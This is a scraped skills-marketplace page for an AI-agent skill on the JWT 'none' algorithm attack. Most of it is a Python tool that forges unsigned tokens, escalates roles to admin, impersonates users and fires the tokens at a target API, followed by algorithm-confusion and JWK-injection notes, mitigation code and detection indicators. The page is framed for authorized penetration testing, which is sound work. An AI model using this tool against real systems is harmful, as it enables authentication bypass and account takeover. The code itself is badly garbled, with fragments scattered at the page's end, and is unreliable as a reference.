Skip to main content
performing-jwt-none-algorithm-attack Execute and test the JWT none algorithm attack, crafting tokens with the alg header set to none using PyJWT and an intercepting proxy (Burp Suite/mitmproxy) to bypass signature verification and forge arbitrary claims. Use during authorized penetration tests or security assessments of applications that use JWT for authentication or authorization, to validate that the server rejects unsigned tokens.
Ir a la instalación Skills Marketplace Descubre y explora habilidades de IA creadas por la comunidad.
Instalar con Codex o Claude Copia este prompt, pégalo en Codex, Claude u otro asistente, y deja que revise la página de la skill y la instale por ti.
Copiar promptMostrar detalles del prompt Un comando directo omite el prompt de revisión. Revisa el origen antes de ejecutarlo.
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills --skill performing-jwt-none-algorithm-attackEl comando permanece en una sola línea. Desplázate horizontalmente para revisarlo antes de copiarlo.
¿Prefieres una copia local? Descarga los archivos que SkillsMP tiene disponibles ahora.
Descargar Zip Descargando... Más de este repositorio abusing-dpapi-for-credential-access Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket's dpapi.py, including domain-wide decryption via the DPAPI backup key. Use during authorized red-team credential-access engagements after gaining a foothold or when triaging DPAPI blobs pulled from a host.
abusing-shadow-credentials-for-privesc Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target's NT hash without a password reset. Use when BloodHound shows GenericWrite/GenericAll/AddKeyCredentialLink over a target, as a stealthier alternative to ForceChangePassword, during authorized red-team engagements.
acquiring-disk-image-with-dd-and-dcfldd Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.
Explorador de archivos
4 archivos name performing-jwt-none-algorithm-attack description Execute and test the JWT none algorithm attack, crafting tokens with the alg header set to none using PyJWT and an intercepting proxy (Burp Suite/mitmproxy) to bypass signature verification and forge arbitrary claims. Use during authorized penetration tests or security assessments of applications that use JWT for authentication or authorization, to validate that the server rejects unsigned tokens. domain cybersecurity subdomain api-security tags ["jwt","none-algorithm","authentication-bypass","token-manipulation","signature-bypass","penetration-testing","owasp","web-security"] version 1.0 author mahipal license
nist_csf ["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"]
mitre_attack ["T1190","T1059.007","T1552.001","T1027","T1070"]
Performing JWT None Algorithm Attack
Overview
The JWT none algorithm attack exploits a vulnerability in JSON Web Token libraries that accept tokens with the alg header set to none, effectively bypassing signature verification. When a server processes a JWT with "alg": "none", it treats the token as valid without checking any cryptographic signature, allowing attackers to forge tokens with arbitrary claims such as escalated privileges, impersonated users, or extended expiration times. This vulnerability was first disclosed by Tim McLean in 2015 and has affected multiple JWT libraries across languages.
When to Use
When conducting security assessments that involve performing jwt none algorithm attack
When following incident response procedures for related security events
When performing scheduled security testing or auditing activities
When validating security controls through hands-on testing
Prerequisites
Target application using JWT for authentication or authorization
Ability to intercept and modify HTTP requests (Burp Suite, mitmproxy)
Python 3.8+ with PyJWT library for token crafting
Understanding of JWT structure (Header.Payload.Signature)
Authorization to perform security testing on the target
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
JWT Structure
A JWT consists of three Base64URL-encoded parts separated by dots:
Header.Payload.Signature
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9. # Header
eyJzdWIiOiIxMjM0IiwibmFtZSI6IkpvaG4ifQ. # Payload
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c # Signature
Attack Methodology
Step 1: Capture a Valid JWT
Intercept a legitimate JWT from the target application using Burp Suite or browser developer tools:
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Step 2: Decode and Analyze the Token
import base64
import json
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
parts = token.split('.' )
header = json.loads(base64.urlsafe_b64decode(parts[0 ] + '==' ))
print (f"Header: {header} " )
payload = json.loads(base64.urlsafe_b64decode(parts[1 ] + '==' ))
print (f"Payload: {payload} " )
Step 3: Craft a Forged Token with None Algorithm
"""JWT None Algorithm Attack Tool
Crafts JWT tokens with the 'none' algorithm to test for
signature verification bypass vulnerabilities.
"""
import base64
import json
import requests
import sys
from typing import Optional
class JWTNoneAttack :
NONE_VARIANTS = [
"none" ,
"None" ,
"NONE" ,
"nOnE" ,
"noNe" ,
"NoNe" ,
"nONE" ,
"nonE" ,
]
def __init__ (self, target_url: str , original_token: str ):
self .target_url = target_url
self .original_token = original_token
self .original_header, self .original_payload = self ._decode_token(original_token)
def _base64url_encode (self, data: bytes ) -> str :
"""Base64URL encode without padding."""
return base64.urlsafe_b64encode(data).rstrip(b'=' ).decode('utf-8' )
def _base64url_decode (self, data: str ) -> bytes :
"""Base64URL decode with padding restoration."""
padding = - (data) %
padding != :
data += * padding
base64.urlsafe_b64decode(data)
( ) -> :
parts = token.split( )
header = json.loads( ._base64url_decode(parts[ ]))
payload = json.loads( ._base64url_decode(parts[ ]))
header, payload
( ) -> :
header = { : alg_variant, : }
header_encoded = ._base64url_encode(json.dumps(header).encode())
payload_encoded = ._base64url_encode(json.dumps(modified_payload).encode())
( ) -> :
tokens = []
modified_payload = ( .original_payload)
modified_payload[role_field] = admin_value
variant .NONE_VARIANTS:
token = .craft_none_token(modified_payload, variant)
tokens.append({ : variant, : token})
tokens
( ) -> :
modified_payload = ( .original_payload)
modified_payload[user_field] = target_user_id
.craft_none_token(modified_payload)
( ) -> :
results = []
base_headers = headers {}
variant .NONE_VARIANTS:
modified_payload = ( .original_payload)
modified_payload[ ] =
token = .craft_none_token(modified_payload, variant)
test_headers = (base_headers)
test_headers[ ] =
:
response = requests.get(
,
headers=test_headers,
timeout=
)
result = {
: variant,
: response.status_code,
: response.status_code == ,
: (response.content),
}
results.append(result)
response.status_code == :
( )
:
( )
requests.exceptions.RequestException e:
results.append({
: variant,
: ,
: ,
: (e)
})
results
( ) -> :
modified_payload = ( .original_payload)
modified_payload[ ] =
header = { : , : }
header_encoded = ._base64url_encode(json.dumps(header).encode())
payload_encoded = ._base64url_encode(json.dumps(modified_payload).encode())
variants = [
,
,
,
]
results = []
token variants:
results.append({ : token[- :], : token})
results
():
(sys.argv) < :
( )
( )
sys.exit( )
target_url = sys.argv[ ]
original_token = sys.argv[ ]
attacker = JWTNoneAttack(target_url, original_token)
( )
( )
( )
( )
( )
results = attacker.test_none_variants()
vulnerable = [r r results r.get( )]
vulnerable:
( )
( )
:
( )
__name__ == :
main()
Step 4: Additional JWT Attack Variants
Algorithm Confusion (RS256 to HS256):
If the server uses RS256 (asymmetric), an attacker who knows the public key can:
Change alg to HS256
Sign the token using the public key as the HMAC secret
The server may verify the signature using its public key as an HMAC key
JWK Header Injection (CVE-2018-0114):
{
"alg" : "RS256" ,
"typ" : "JWT" ,
"jwk" : {
"kty" : "RSA" ,
"n" : "<attacker-controlled-key>" ,
"e" : "AQAB"
}
}
Mitigation Strategies
import jwt
def verify_token_secure (token: str , secret_key: str ) -> dict :
"""Verify JWT with explicit algorithm allowlist."""
try :
payload = jwt.decode(
token,
secret_key,
algorithms=["HS256" ],
options={
"require" : ["exp" , "iat" , "sub" ],
"verify_exp" : True ,
"verify_iat" : True ,
}
)
return payload
except jwt.InvalidAlgorithmError:
raise ValueError("Invalid token algorithm" )
except jwt.ExpiredSignatureError:
raise ValueError("Token expired" )
except jwt.InvalidTokenError:
raise ValueError("Invalid token" )
Detection Indicators
JWT tokens with "alg": "none" (or case variations) in server logs
Tokens with empty or missing signature segments
Sudden change in algorithm field from normal patterns
Tokens with modified claims (role escalation) from the same session
Authorization header containing tokens with only two Base64 segments
References
Ocupaciones relacionadas SOC
Basado en la clasificación ocupacional SOC
4
len
4
if
4
'='
return
def
_decode_token
self, token: str
tuple
"""Decode JWT header and payload."""
'.'
self
0
self
1
return
def
craft_none_token
self, modified_payload: dict ,
alg_variant: str = "none"
str
"""Craft a JWT with the none algorithm and modified payload."""
"alg"
"typ"
"JWT"
self
self
return
f"{header_encoded} .{payload_encoded} ."
def
craft_privilege_escalation
self, role_field: str = "role" ,
admin_value: str = "admin"
list
"""Create tokens with escalated privileges using all none variants."""
dict
self
for
in
self
self
"variant"
"token"
return
def
craft_user_impersonation
self, target_user_id: str ,
user_field: str = "sub"
str
"""Create a token impersonating another user."""
dict
self
return
self
def
test_none_variants
self, endpoint: str = "/api/profile" ,
headers: Optional [dict ] = None
list
"""Test all none algorithm variants against the target."""
or
for
in
self
dict
self
"role"
"admin"
self
dict
"Authorization"
f"Bearer {token} "
try
f"{self.target_url} {endpoint} "
10
"variant"
"status_code"
"accepted"
200
"response_length"
len
if
200
print
f" [VULNERABLE] alg='{variant} ' -> {response.status_code} "
else
print
f" [SAFE] alg='{variant} ' -> {response.status_code} "
except
as
"variant"
"status_code"
0
"accepted"
False
"error"
str
return
def
test_empty_signature_variants
self
list
"""Test different empty signature formats."""
dict
self
"role"
"admin"
"alg"
"none"
"typ"
"JWT"
self
self
f"{header_encoded} .{payload_encoded} ."
f"{header_encoded} .{payload_encoded} "
f"{header_encoded} .{payload_encoded} .AA=="
for
in
"token_format"
20
"token"
return
def
main
if
len
3
print
"Usage: python jwt_none_attack.py <target_url> <original_token>"
print
"Example: python jwt_none_attack.py https://api.example.com eyJhbG..."
1
1
2
print
f"\nOriginal Token Header: {attacker.original_header} "
print
f"Original Token Payload: {attacker.original_payload} "
print
f"\n{'=' *60 } "
print
"Testing None Algorithm Variants"
print
f"{'=' *60 } "
for
in
if
"accepted"
if
print
f"\n[!] VULNERABLE: {len (vulnerable)} variant(s) accepted!"
print
"[!] The server does not properly validate JWT signatures"
else
print
f"\n[+] SECURE: All none algorithm variants were rejected"
if
"__main__"